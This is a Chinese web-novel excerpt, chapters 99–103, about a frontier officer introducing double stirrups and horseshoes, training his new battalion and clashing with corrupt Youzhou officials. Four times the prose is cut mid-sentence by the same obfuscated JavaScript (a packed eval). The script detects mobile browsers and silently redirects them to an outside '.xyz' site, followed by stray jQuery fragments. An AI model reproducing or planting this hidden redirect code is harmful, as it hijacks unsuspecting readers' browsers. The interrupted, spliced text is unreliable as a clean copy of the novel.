“马镫?不对!”赵起凑近一看,眼中满是疑惑:“可寻常马镫只有单边,这怎么两边都有?”
“此乃双边马镫!”秦猛耐着性子解释。
“有了它,将士能牢牢夹紧马腹,无需再用手抓握马鞍维持平衡,便可腾出双手弯弓搭箭。与狼戎骑兵交战,这双边马镫能发挥大用处!”
“真有这般奇效?”赵起声音瞬间拔高,难掩激动——他太清楚骑兵不能双手射箭的短板了。
一旁的袁飞立刻上前:“将军,千真万确。上次我带队冲杀狼戎,靠这马镫让数十人马上奔射,瞬间射翻敌兵,很快就解决了战斗!”
“什么?马上奔射?”赵起与将领们瞳孔骤缩,满脸震惊。
大周军队中,弓箭手需要天赋,骑马射中目标难上加难。能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418915|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在策马狂奔,开弓射箭就是精锐。
秦猛笑着递过缰绳:“将军不信,可亲自上马尝试。”
赵起按捺不住,接过缰绳翻身上马。
赵平等人心痒难耐,也纷纷跨马。
几人策马狂奔,双脚踩镫控马,腾出手摘弓瞄准,动作流畅无比。
“哈哈哈……好,好一个双边马镫!”赵起勒住战马大笑,“秦猛,你搞出这等利器,立了大功!”
连此前对秦猛有芥蒂的赵平,也忍不住夸赞,昨日因乌维鲁莽之事的不爽早已烟消云散。
众人都明白,这马镫能让大周骑兵拥有“马上骑射”能力,大幅拉近与草原骑兵的差距。
赵起拍马回到秦猛身边时,马蹄踢到石头发出金属碰撞声,他低头见战马四蹄钉着月牙形铁块,疑惑询问。
“这又是何物?”
袁飞解释:“将军,这是马蹄铁,像战马的‘靴子’,生铁打造,配马镫使用,能让战马在山道狂奔不伤蹄,还不怕铁蒺藜扎伤马足!”
他又补充:“上次送急报情况紧急,次日才发现它的好处,想着来边寨见您时,再呈报。”
赵起瞥了袁飞一眼,没纠结迟报的事,转头对秦猛赞叹:“好好好!这两个小玩意至少能让大周军队战力提升三成。
以后骑兵对**,同等数量上,也能稳压一头!”
秦猛谦虚地摆手:“这是堡寨工匠的功劳,我只是略加提点。不过还望将军保密,目前耗铁量大,无法批量生产,等武装好飞虎卫再报帅司,日后对战**,也能打个措手不及。”
“不错!此事绝不能外传!”赵起连连点头,“我即刻下令调工匠来边寨,让飞虎卫轮番换装,这事就劳你费心了。”
秦猛昂首挺胸:“将军说的哪里话?镇守边疆、提升军力,本就是末将分内之事,义不容辞!”
“秦猛听令!”赵起突然沉声喝令,语气带着不容置疑的威严。
秦猛心中一凛,拱手肃立:“末将在!”
“你此前绞杀狼戎、灭冷艳山贼、溃不明敌,如今又造双边马镫与马蹄铁,累计功劳甚大!”
赵起声音铿锵,“我不日奏请帅司,为你请功。现擢升你为飞虎卫正将,允许你自行组建一营人马。望你日后奋勇向前,尽心戍守边疆!”
飞虎卫正将,是从六品武职。
“自行组建一营”更意味着秦猛至少能领兵一千,手握实权。
周围将领眼中满是羡慕,却无一人嫉妒——秦猛的功劳都是一刀一枪拼来的,实至名归。
秦猛心中狂喜却未失态,单膝跪地,双手抱拳,高声领命:“末将秦猛,谢将军提拔!
日后**若敢来犯,末将定教他们有来无回!”
他低垂的眼眸中光芒炽热,这一次的官职晋升,让他麾下兵卒激增,离目标又近了一大步。
第100章 大练兵
朔风愈紧,天色阴沉如铁,雪籽夹在风中簌簌而下,击打在将士们的铁甲上,噼啪作响。
赵起将军军务繁忙,将一应事务安排妥当后,便率队返回了飞虎大营。
他带走了五百匹草原好马。
秦猛一再言明是赠送,赵起却不愿占部下便宜。
他坚持以低于市价的价格购买,并依秦猛所需,将款项折为装备、皮革等物资,约定随工匠与猛火油一同送至边寨。
亲兄弟明算账,此乃赵将军行事之风。
然对于双马镫、马蹄铁二物,赵将军却显出军人应有的果决与气魄,搬空了边寨数日来的库存。
临时营地中,亲卫营三百精锐留守,协防铁血军寨。
这支人马不仅是首批轮换,待配备双马镫、马蹄铁的精锐,更是应对狼戎来袭的关键力量。
副统领周扬以“与边寨配合默契”为由,争得了率队协助的机会。
人人皆欲留下来立功,只因在这拒马河边,军功来得太快。
——如袁飞、徐强,调来边寨不久,便因杀敌守土之功,擢升为亲卫营队将。
秦猛升任营正将,除副将需帅司任命,他已拥有部将、队将的提名任命权,只需认准功劳,上报待批即可。
统率一营兵马,少则一千,多则三千,已是中级军官,又是戍边,坐镇边寨,自**甚大。
升正将后,更有权提拔亲信。
若硬要做个比喻,堪比后世抗战时期的团长。
这便是秦猛升迁后,难以抑制喜悦的缘由。
“咚!咚!咚!”
军营校场上,鼓声雷动。
这是秦猛首次擂鼓聚将,召集兵卒。
除燧堡值守及伤重未愈者,堡寨军卒尽数集结。
六百多名寨兵列成数个方阵,肃立待命。
袁飞、徐强率飞虎卫在旁观望。
往日略显空旷的校场,此刻竟显得拥挤起来。
(秦猛初任管队官时,麾下仅百人,后招募百余名青壮,魏文送来两百土兵,收编韩勇麾下数十喽啰,又在青阳郡城募得百多新兵)
秦猛如铁钉般立于点将台上,目光扫过下方军阵。
从他穿越至今,不过短短时日,自暴力复仇开始,搞钱搞粮,竟不知不觉间拉起了这支队伍。
他胸中豪情翻涌,声音不高,却压过了风啸:“即日起,我铁血军寨组建一营兵马,名曰‘陷阵’!
冲锋之势,有进无退;陷阵之志,有死无生;战场之上,有我无敌!”
“陷阵营?”袁飞、徐飞等人相视凛然,莫名觉得心头震撼,好霸气的名号,好重的杀气!
校场上众多兵卒只觉热血上涌,满面兴奋。
秦猛却兜头泼下一盆冷水:“尔等现下仅是陷阵营预备队员!欲正名,须经整个冬日的苦训。
望各位兄弟不惧劳苦,磨炼技艺,成为真正的精锐。历经考核,合格者,方能入选陷阵营!”
“听见了吗?”
“是!”回应之声较以往更为整齐,震彻风雪。
“张富贵!”秦猛目光扫向台下队列前方。
“在!”张富贵立刻挺身出列,大步登上点将台。
他身上有伤,未着铁甲,但那五大三粗、满脸横肉的模样,威慑力丝毫不减。
秦猛宣布其战绩:“队将张富贵,先后参与边寨保卫战、夜夺冷艳山、山寨死战,指挥有方,杀敌甚众。特擢升为部将,赏银百两!”
部将,按品级已经步入八品武职。
秦大壮托上百两白银,当众塞入张富贵手中。
张富贵眼中闪过激动,冰冷的银子似乎变得滚烫,躬身领命:“谢将军,末将定不负期望!”
“王铁山!”
“在!”王铁山面露喜色,应声窜上台。
“队将王铁山作战勇猛,连番恶战,勇猛无畏,杀敌甚多。特擢升为部将,赏银百两!”
接着,秦猛依战功一一擢升。
李山、刘铁柱提名部将,然功稍逊,需后续实绩支撑。
刘大牛扶正为队将。
王善、**作战骁勇,连立战功,同升队将。
余者有功将士,尽得升赏,连伤者亦无遗漏。
如诸葛风,被任命为行营主簿,兼管后勤。
就连韩勇亦被破格提拔,协理后勤。
校场上喜气洋洋,热闹非凡。
那是一大批人升伍长,什长,还有钱粮赏赐。
斩首一级,仍有额外的钱粮等实物赏。
数量多了,就会转为军功升职。
如到了什长之后,斩首功劳会被笼统化计算。
不然,杀一人赏钱二十贯,还有布匹衣服,家底再厚也难以为继。
奖励,只是为了激励士兵。
这是边堡升格为军寨,秦猛逐渐了解的相关体制。
寒风卷着雪籽,扑打在将士们的脸上却无人晃动。
点将台上的秦猛,目光如炬,眺望拒马河的方向,仿佛穿透风雪,看到了即将到来的腥风血雨。
他知道,真正的考验,即将随着这场雪一同降临。
犒赏已毕,秦猛双手压下嘈杂,沉声道:“全体听令!雪已降,界河冰封在即,**必大兵压境。
想活命的,想护住寨子、老婆孩子热炕头的,不想再颠沛流离的,就把刀口舔血的本事,从骨髓里给我榨出来!”
他毫不赘言,当场宣布各职司规矩:
弓箭队:由刘铁柱暂领,飞虎卫队将袁飞等精锐协助训练。
凡能拉开八斗硬弓(拉力约合现代九十磅以上,即40.82公斤)、五十步固定靶五中三者,方可入队。
重点练习快射、狠射,听号令齐射之术!其训练严苛,或效古法,肘臂置水以求平直,更需练就“悬虱于牗”般的锐利眼力,追求“百步穿杨”之精准。
骑兵队:由张富贵率领,飞虎队将徐强等
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418916|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
精锐协助挑选。
马术稳健、胆气过人、能于奔驰中劈砍多个草人或射中三十步内移动靶者,优先。
训练不仅限于骑射劈砍,更需精熟“分鬃射法”(正面攻敌)、“对镫射法”(侧身环射)乃至“抹鞦射法”(返身射追兵)等马上射技。
战马饲养训练亦极考究,需精选豆料、苜蓿,甚至掺入鸡蛋粮食等精料,日常洗刷、溜放、驰逐皆有定规,以求“秋高马肥”,保持马力。
步战队:由部将秦大壮率领。
秦猛亲领统一操练。李山、王铁山等得力者辅助。
讲究结阵抗敌、令行禁止。敢冲杀、听号令者为上。其训练注重“以治为胜”,强调阵法变化(圆方、坐起、行止、左右、前后、分合、结解)与号令金旗的绝对服从。
体能训练或采用“囊砂”法(背负重物,腿绑沙袋负重奔跑)以增强体力,足力,甚为艰苦。
亲兵队:由王善、**统率,负责护卫中军及执行特殊命令。
突击队:专挑身强力壮、敢于搏命的猛士,由乌维带领,王善、**、牛五协助。
操练之法极为刚猛简练——角抵(摔跤)、摔打、格斗擒拿,负重奔跑、挥砍重物……
其训练结合后世特种作战,借鉴古代“翘关”(举重)之力士法,“与猛兽对练”的极限体能挑战,以求锤炼出超乎常人的勇力与胆魄。
犬兵队:由刘大牛率领,训练合格猎犬协助战斗,人员训练不得落下,负责侦察、追踪。
辅兵队:韩勇负责率领,身体素质未达标者,皆为辅兵,统率青壮,负责后勤——割草喂马、护送粮秣、防守军寨。
辅兵表现优异者,亦可申请入战兵队列!
反之,战兵表现拉跨者,屡教不改,便降为辅兵!
陷阵营各兵种框架,至此大致构建。
秦猛定下各队兵额:骑兵队三百人,弓箭队两百人,步兵队五百人,犬兵队百人,辅兵队三百人,亲兵队含突击队,名额两百人。
他详细规划了战兵、辅兵之训练强度与兵种配合,并从飞虎卫请来数十好手协助操练。
弓箭手于军营中奋力开弓,箭矢破风之声不绝于耳。
百余骑兵策马冲出边寨,于外旷地驰骋训练。
秦大壮亦领着步兵大队出后堡门,在空地上排兵布阵,分为两队对抗,呼喝之声震天动地。
寨内兵丁多了,容纳不下!
为此,秦猛征召壮劳力,于铁血堡寨、飞虎卫营地之间,择地修建新营,专作练兵之用。
三地构成品字形,犄角之势,深合兵法之要。
寒风呼啸,卷着雪籽胡乱拍打。
铁血军寨的冬季大练兵就此拉开序幕!
骑兵策马射箭,劈砍稻草人;步兵结阵变幻,负重奔袭;弓箭手力开硬弓,箭如连珠;突击队角抵摔打,吼声震天,只为能多杀**……
第101章 热汤暖心,兵心依附
军寨,医疗所。
此处弥漫着浓重的中草药与血腥气混合的味道。
自从冷艳山守卫战后,这里便人满为患,近百名伤兵挤在简易床铺上,呻吟声不绝于耳。
穿着整洁粗布衣、系着围裙、戴着面罩的妇人们步履匆匆,进出忙碌,清洗绷带,敷药包扎,喂服汤药,一切忙而不乱。
“唐医官,这是我缝的,你看我这手艺怎么样?”
缝补作坊的工头王婶拿着一块割开又缝补好的皮料,一把拽住正捣药的唐博,将皮料递过去。
这块皮革上,细腻的针脚整齐划一。
不细看,难以分辨撕裂豁口,显示出妇人精湛的针线活儿。
“我能不能入医疗所帮工?”王婶斜着眼睛问道,脸上写满了期盼。
“哎哟,王婶,你别拿俺寻开心了。”唐博头疼地看着这个来了好几次的妇人,露出苦笑。
“您可是缝补作坊的头儿,咋能来我这儿打下手?”
“就是,姐姐,莫要跟我们抢活干嘞!”
王寡妇端着一盆刚换下来的、染着血迹的水倒在门口的木桶里,恰好看到这一幕,不禁笑着打趣道。
她如今脸色红润,再非昔日那般憔悴。而且是继陈月娘,第二个主动应募,入医疗所帮工。
“哎呀,我羡慕啊妹子,”王婶羡慕地嘟囔着,“缝补伤口有现银拿,还不让缝补作坊的人帮工...”
这一切的转变,皆源于秦猛与陈月娘的联手上阵。
他们亲自为重伤员缝补伤口的一幕,震撼了许多人。
随后,军寨张贴榜文,宣布招募一批妇人担任护工,协助救治伤兵,并且月月发放粮饷。
——这与男子在军寨中效力无异,简直是破天荒的事情。
而陈月娘因救人得力,当场获得五两赏银的消息,更如同一点火星,瞬间点燃了军寨妇人们心中压抑已久的干柴。
消息传开,大群妇人涌来应聘,纷纷嚷着自己不怕血,愿意当护工。
唐博自是高兴不已,立刻展开筛选。
他设下几道关卡:先是让人旁观清理血肉模糊的伤口,观察是否面色发白、腿脚发软。
再让她们试着缝合皮料,猪肉,考核手艺是否精细心细。
唯有胆大、手稳、心细者,方能录用。
这股热潮也猛烈冲击了缝补作坊。
妇人们心思活络,纷纷寻借口溜出来想往医疗所钻,棉衣、棉被的生产效率顿时大跌。
老保长气得吹胡子瞪眼,不得不严令禁止作坊人员参与医疗所之事。
秦猛知晓后,为此,特意加了一条:丈夫过世、家庭条件困苦的妇人优先录用为护工。
同时,他提前给缝补作坊的妇人们发放了冬季福利,算是安抚。
如此恩威并施,才算止住了这股“跳槽”风潮。
短短几天,医疗所便招募了十多个胆大又有手艺的妇人,其中多是如王春兰这般无依无靠的寡妇。
陈月娘则因其勇敢和初步展现的医术天分,被一致推为“中级护工”。
她不仅负责教导新来的妇人们和药童包扎伤口,更要随唐医官学习辨识草药、了解药性。
“哎哟,秦大人,你为何不让我等来帮工?”王婶眼尖,看到秦猛带人走来,立刻窜上前诉苦。
秦猛是怕了这个嘴巴利索的妇人,板着脸实话实说:“王婶,缝补工坊乃是边寨的根本。
以后就会与铁匠坊,木工坊合并为军器监。到那时你的例钱,可就多了哦,何必来帮工?”
“那就好!”王婶是个伶俐人,一听“军器监”,眼睛一亮,当即不再纠缠,说了声“那我得回去做好表率”,转身就小跑着往缝补作坊去了。
“大人!”唐博长松了口气,连忙上前行礼。
“我是来看望伤员。”秦猛摆摆手,勉强笑了笑,朝闻声从里间走出的陈月娘挥手打了个招呼。
军寨大练兵伊始,诸事繁杂。但他始终惦记着这些为军寨流血的弟兄。
安排好练兵事宜后,他让王善等亲兵抬来特意准备的、还冒着热气的肉馅馒头和大桶肉汤。
前来医疗所,慰问伤兵。
秦猛推开医疗所的木门,脸上挤出温和的笑容,没有因身份差异而区别对待,亲自走上前,挨个给伤员分发馒头和肉汤,发放抚恤银。
他一边递过油纸包,一边轻声安抚。
“兄弟们,辛苦了,好好养伤,有我在,军寨不会亏待你们。”
他堂堂知寨官,却亲自带着热气腾腾的汤饭来看望伤号,还耐心问候,这一幕让在场所有人无不触动。
军寨的老兵们纷纷道谢,那些原本对秦猛心存畏惧、新投靠的冷艳山寨喽啰,更是感动不已。
不少人挣扎着想从床上起身行礼,却被秦猛伸手轻轻摁回床铺:“躺着就好,养伤要紧,不用多礼。”
这些喽啰捧着温热的馒头,喝着鲜美的肉汤,眼眶渐渐泛红,心里对秦猛的认同感又深了几分。
“大人!大人!”一个激动的声音突然响起,只见陈三被两个同伴用简易担架抬着,从里间出来。
这小伙也是命大,之前腹部的撕裂伤恶化,被军医官断定撑不过晚上。
却被秦猛与陈月娘临危不乱,以针线缝合。
经过唐医官悉心救治,他第二天竟奇迹般转醒,康复速度远超常人。
得知秦猛亲至,陈三硬是让同伴把他抬出来。
见到秦猛,他挣扎着想要坐起,声音带着哭腔:“大人!您与夫人联手把我从鬼门关拉回来,我陈三这条命就是您的了。
以后不管是刀山还是火海,只要您一句话,我绝无二话。”
陈三这番话像一颗石子投入平静湖面,瞬间激起层层涟漪。
一个腿部受伤的兵丁躺在床上,大声附和:“没错!要不是大人,我早在之前的战乱里饿**。
哪还能有热饭吃、有床睡?
俺周狗蛋这条命,以后就是大人的!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418917|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
另一个喽啰也跟着喊道:“只有秦将军把我们当人看。不仅给饭吃、给房子住,还说以后要给我们分田!这样的好大人,我们誓死追随!”
“誓死追随大人!”
医疗所内,顿时呼声如雷。
伤员们的声音虽然因伤势而沙哑,却充满了真诚与坚定。
秦猛站在人群中,心中暖意翻涌。
他抬手压了压,朗声道:“兄弟们,你们都是好样的,是铁血军寨的好儿郎。大家不要激动,好生休养,尽快把伤养好,早点归队。
**贼心不死,铁血军寨还需要你们并肩作战!”
“并肩作战,杀**!”
……
韩勇与刘三也在医疗所里——韩勇左手臂有撕裂伤,刘三则是肩胛骨受了重伤,来此缝合治疗。
两人全程目睹了这一幕,神色复杂。
等秦猛安抚完众人,转身去查看其他伤员时,刘三望着秦猛的背影,悠然长叹。
“哎,视麾下为兄弟,爱兵惜兵,这才是个人物啊!冷艳山寨的大当家严虎给他提鞋都不配。”
说完,他才意识到韩勇曾是严虎手下,顿觉失言,连忙补救:“韩兄弟,我不是那个意思……”
韩勇却摆了摆手,语气异常平静:“没得比。严虎带人来攻打边寨,劫掠百姓,全军覆没不是没有理由的。
秦将军这样的人,受军民爱戴,尤其是在这北疆土地上,在这乱世之中,必定有一番作为。”
他顿了顿,声音变得有些惆怅:“何况,严大当家只是被关押,我能去见他,又能给他备一顿酒菜,也算是还了当年他收留我的恩情。”
刘三闻言,好奇问道:“韩兄,既然你与严虎有旧,难道不打算向秦将军求情,放他一条生路?”
“没用的。”韩勇非常果断地摇头,反问道:“刘三,你我都是北地人。若是你的家眷被人掳走,卖到草原为奴,日夜受辱,你又当如何?”
刘三愣了一下,下意识咬牙回应:“那我肯定要跟他拼命,绝不放过他!”
说完,他才恍然大悟。
——严虎及其手下在北疆劫掠百姓,不知害得多少人家破人亡,妻离子散。
秦将军向来把百姓看得极重,又岂会放过这等罪魁祸首?
“所以,秦将军这种把百姓看得很重,又把手下当兄弟看待的人。不知道还则罢了,是绝不会放过那些专事掳掠同胞、祸害百姓之徒的。”
韩勇看得透彻,语气里带着几分感慨,似在诉说,又像是在自我安慰。接着叮嘱刘三。
“秦将军惦记着你的家眷,你亲眼所见,亲耳所闻。望你记住这份情义,养好伤,好好做事。”
“我晓得。”刘三重重地点头:“秦将军恩情,刘某铭记在心,绝不敢忘!”
一想到即将与家人团聚,心中便充满了感激与期盼。最后又想到前主子,刘德福,神色复杂。
“主子啊!现在如何?是否慌急?”
第102章 幽州暗流
幽州城,一夜之间空气骤降,细密的雪籽笼罩了这座北方雄城。
铅灰色的天空阴沉二压抑,预示着一场大雪即将来临。
刘家府宅,书房内炭火烧得正旺,与外界的寒冷形成鲜明对比。
“咔嚓!”
一个精美的青瓷茶杯掉在地上,摔得粉碎。
冒着热气的茶水与茶叶四溅,溅落在一双做工精致的鹿皮暖靴上,靴子的主人刘德福却浑然未觉。
就在片刻之前,这位刘判官还在温暖的书房内悠闲地冲泡着茶商送来的贡茶,享受这冬日清晨的宁静。
然而,女婿杨浩——幽州统制官脸色惊慌地闯进来,带来的消息让他如坠冰窟,茶杯摔碎。
秘密调动的剿匪队伍,遭遇边军,全军覆没!
“你…你说杨全,周翔他们带着千多人,被、被灭了?”
此刻,刘德福瞪着一双死鱼眼,脸上爬满了不可置信。
他以为自己听错了,怔怔地看着女婿杨浩,声音发颤还夹杂着期盼,似乎希望真是自己听错了。
“没错。”杨浩声音干涩,心有余悸地说明经过:“就在刚刚,几个溃兵逃窜回来,禀明情况。”
“说是杨全他们连夜赶到冷艳山,却是晚去了一步。
铁血军寨先行剿灭匪贼,占据山寨。
杨全直接下令攻击,射杀边军,大战就此爆发。”
“对方死守山寨,百八十人硬生生扛了两天两夜。
两营人马死伤惨重,杨全被迫动用骑兵参战,准备最后一搏,一举拿下山寨,避免走漏消息。”
“奈何,在这关键时刻,边军援军赶来,从后面击溃杨全部众,兵败如山倒,兵卒四处逃窜。”
杨浩咬牙切齿地说完,声音带上些许恐惧:“而来救援的人正是铁血军寨知寨官,秦猛!”
“秦猛?”刘德福瞳孔骤然收缩成针尖,随即胖脸上满是愤怒:“废物,一群废物!一千多人呐!竟然还奈何不了百八十人,养着他们有何用?”
他猛地一拍桌子,震得茶具哐当作响,胸口因愤怒而剧烈起伏。
杨浩见他怒不可遏,赶忙劝说道:“岳父,现在不是怨天尤人,关键是此事,如何善后?”
“一千多府兵突然就全军覆没,他们的家属必会深究,造成的影响难以平息,这是个**烦。”
“而且那个秦猛异常骁勇,据说只一枪就把杨全打**下,生擒活捉。再一审讯,消息必定泄露。到时别说是你,就是我也会被卷入其中!”
杨全声音充满无奈和气急败坏,埋怨地看着自家岳父。要不是顾及身份,他绝对会动手。
你说你好端端的,为何要招惹边军这种狠人?
刘德福骂完之后,逐渐冷静下来,心里头却越发沉重。
边军帅司那边一直没有动作,怕是在等待机会。
而敌方军队主动攻杀边军,这是谋反,株连九族的大罪,必定会被对方利用,借题发挥。
“这件事情太大了,已经不是我们能够掌控的。”刘德福越想心头越冷,明白事态的严峻性。
他立刻站起身,看向女婿杨浩:“走,咱们立刻去刺史府,禀明情况,请刺史大人定夺。”
“我已经告知父亲,他已经去了。”杨浩神色逐渐冷静。
“那就好,那就好……”刘德福松了口气。杨浩的父亲是幽州别驾,是刺史最重要的副手,位高权重,人脉广泛,化解此事应该不成问题。
“秦猛,秦猛?”刘德福转而又想到罪魁祸首,眼中冒出浓浓恨意,咬牙切齿,恨不得生吞其肉。
“哼,战场上骁勇?冷艳山寨那些废物没用……”刘德福眼神冰冷,这种断粮道的法子行不通。
他又想到用重金雇佣刺客,去暗杀秦猛此獠。只要能够杀掉对方,无论花多少钱都是值得的。
一旁的杨浩看着刘德福脸色阴沉,眼中杀气凛然,不知在想什么。他却知道对方不肯罢休。
“岳父,你还是走吧,带着家财,离开幽州,越远越好。”杨浩犹豫再三,冷不丁来了一句。
直接把正想着如何对付秦猛的刘德福给搞愣住了。
“贤婿,你说什么?”刘德福简直不敢相信自己的耳朵。
杨浩面色冷峻,盯着刘德福一字一顿:“事情太大,怕难以收场,你还是隐姓埋名,远走高飞。”
他把灭口队伍全军覆没的消息告知身为幽州别驾的父亲时,对方直接给了自己一耳光,大声训斥自己愚蠢,岂能擅自调动地方军队?
而且最后警告要与刘家撇清关系。
杨浩当然明白这“撇清关系”是什么意思。幽州地方想要平息此次事件,给虎贲军一个交代,
就必须付出代价。
钱粮,物资只是其中一方面。
而罪魁祸首刘德福,估计最终是要被放弃,就像他放弃自己的心腹刘三,丢给边军发落。
换做是别人,杨浩是不会理睬的。
可眼前之人是他岳父,于情于理,是该提醒一句。
“隐姓埋名?远走高飞?”刘德福反复呢喃着。
当他看到杨浩那无奈又决绝的眼神,心里咯噔一声,就隐约猜到自己多半会被当作弃子。
他的脸色瞬间变得铁青,手指无意识地摩挲着桌面上的一道划痕,内心掀起了惊涛骇浪。
这么多年,他为上面那些人做了多少脏活累活?如今一出事,就要把他像破布一样扔掉?
“呵呵...呵呵呵...”刘德福突然低笑起来,笑声中带着几分癫狂和绝望,让杨浩不禁皱起了眉头。
“贤婿啊贤婿,你说得轻巧。”刘德福缓缓抬起头,眼中闪烁着诡异的光芒,“我这些年利用漕运职务便利,巧立名目,搞了多少钱?
向草原输送粮食、盐巴、铁器等紧俏物资,都是我出力主导。最后获得的钱财,大多数都是孝敬了上面。”
他慢慢站起身,踱步到窗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418918|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前,望着窗外越下越大的雪籽:“jiusuan没有功劳,也有苦劳吧?
如今一出事,就想把我一脚踢开?天下哪有这么便宜的事!”
杨浩心中一惊,问道:“岳父,您这是什么意思?”
“什么意思?”刘德福猛地转身,胖脸上露出一丝狡黠而危险的笑容,“我自然留了后手。
所有往来的账目、书信,我都悄悄留了副本。藏在一个除了我本人,谁也不知道的地方。”
他慢慢走近杨浩,压低了声音:“吃得脑满肠肥就想踹开刘某,这世道哪有那么简单的事?
估计幽州府许多人坐立难安了,要是我不明不白地**,那些东西自然会送到该看到的人手里。到时候,事情闹大了,大家一起完蛋!”
杨浩倒吸一口凉气,不敢相信地看着眼前的岳父。
这个平日里总是笑眯眯的胖商人,竟然有如此心机和胆量。
“岳父,你...”杨浩气得脸色发白,“你这是在威胁?”
“不不不,这只是自保,贤婿。”刘德福又恢复那副人畜无害的表情,但眼神却冰冷如窗外的雪籽,“我只是不想被舍弃,想活下去而已。”
“你回去告诉令尊,我的亲家,再转告我那些‘朋友们’,我刘德福要是活不好,大家都别想好过!”
杨浩死死盯着刘德福,见到他那种疯狂的眼神,终于明白为什么父亲要他尽快与刘家撇清关系。
自己这个岳父,根本就是一条毒蛇,随时可能反咬一口。
“好,好,好!”杨浩连说三个好字,气极反笑。他明白,这家岳父不可能悄然离开幽州城。
“岳父果然老谋深算,小婿佩服!这话,我一定带到。”说罢,杨浩猛地一甩衣袖,转身大步离去。
刘德福望着女婿离去的背影,脸上的笑容渐渐消失,取而代之的是一片阴沉。
他缓缓坐回椅中,望着窗外的风雪,手指轻轻敲打着桌面,眼中闪烁着明灭不定的光芒。
他知道,自己刚才的摊牌是一场豪赌。赢了,或许能争得一线生机;输了,就是万劫不复。
窗外,雪籽不知何时已经变成了雪花,纷纷扬扬地落下个,
刘德福望着这漫天飞雪,心中一片冰冷。
他想起自己这些年的所作所为,想起那些被自己害得家破人亡的人,想起那些被贩卖到草原的百姓,再对比自己即将面临被抛弃的下场后,
难道这就是报应?
不!刘德福猛地摇头,眼中重新燃起狠厉之色。
他绝不能就这么倒下,就算要死,也要拉上几个垫背的。
尤其是那个秦猛,必须死!
他唤来心腹管家,低声吩咐:“去,将‘那些东西’准备好。若是听到我有什么不测,就立即送到该送到的地方。”
“老爷...”管家面露忧色。
“快去!”刘德福厉声道,“既然他们不仁,就休怪我不义!”
第103章 尔虞我诈
幽州城,杨家府邸。
书房内,杨烁指尖无意识地敲打着紫檀木桌案,发出沉闷的声响,每一声都敲在杨浩心上。
杨浩回来,就把刘家发生的事,如实告知父亲。杨浩得知试探刘德的情况后,陷入沉默。
“刘德福这老狐狸...”
良久,杨烁终于开口,声音低沉而冰冷:“他以为手握那些账册副本就能要挟整个幽州官场?真是可笑。”
杨浩垂首站立,不敢直视父亲锐利的目光:“岳父...刘德福说,若他身死…被灭口。那些往来账目和书信会立即送到该看到的人手里。
他说...吃饱了休想把他踹开门都没有,他不想当弃子被舍弃,还说要死,大家一起完蛋。”
“砰!”杨烁勃然大怒,猛地一拍桌案,震得茶具哐当作响:“好好好,好一个狗急跳墙!
他刘德福这些年利用漕运职务,向草原输送粮食、盐铁,包庇山贼,哪一桩不是杀头的罪?
现在事情败露,祸到临头,倒想拉着所有人垫背!”
杨浩额角沁出细密汗珠,他知道父亲此刻正在权衡。一边是亲家关系,一边是整个杨家的存亡。
他见父亲杨烁神色变得缓和,壮着胆提议:“爹爹,要不您亲自劝说,让他离开幽州城?”
“哼,劝说有何用?”杨烁嗤笑一声:“不说刘家万亩肥田,酒楼,铺面等产业都在幽州境内。”
“钱财只是身外之物,没了可以再赚,命没了,可就……”杨浩有些不解,问出心底的疑惑。
“你还是太年轻了!”杨烁摆手打断,为其解惑:“你这个岳丈大人,为官二十余载,心机深沉歹毒。岂能不知弃官逃离幽州会更加危险?”
他见杨浩还是疑惑,把话挑明:“没了漕运判官这层身份庇护,要他命的人可不止官场上。毕竟这老狐狸以权谋私,缺德是做得太多。
以前被勒索的商旅,吃过亏的富户,顾及他的官身不敢动手,可他不是官了,都不会罢休。
报复他的人如同这过江之鲫,刘德福怕是没出幽州境内,就会被人掳走,不知死在何处。”
杨浩听完后,彻底恍然大悟:“怪不得劝他隐姓埋名,离开幽州,一片好心,反而激怒他。”
杨烁语重心长地说道:“官场险恶,你站在高位时,手底下的人恭恭敬敬、百依百顺,实则是一群豺狼,只要有机会就会把你拉下来,自己爬上去。
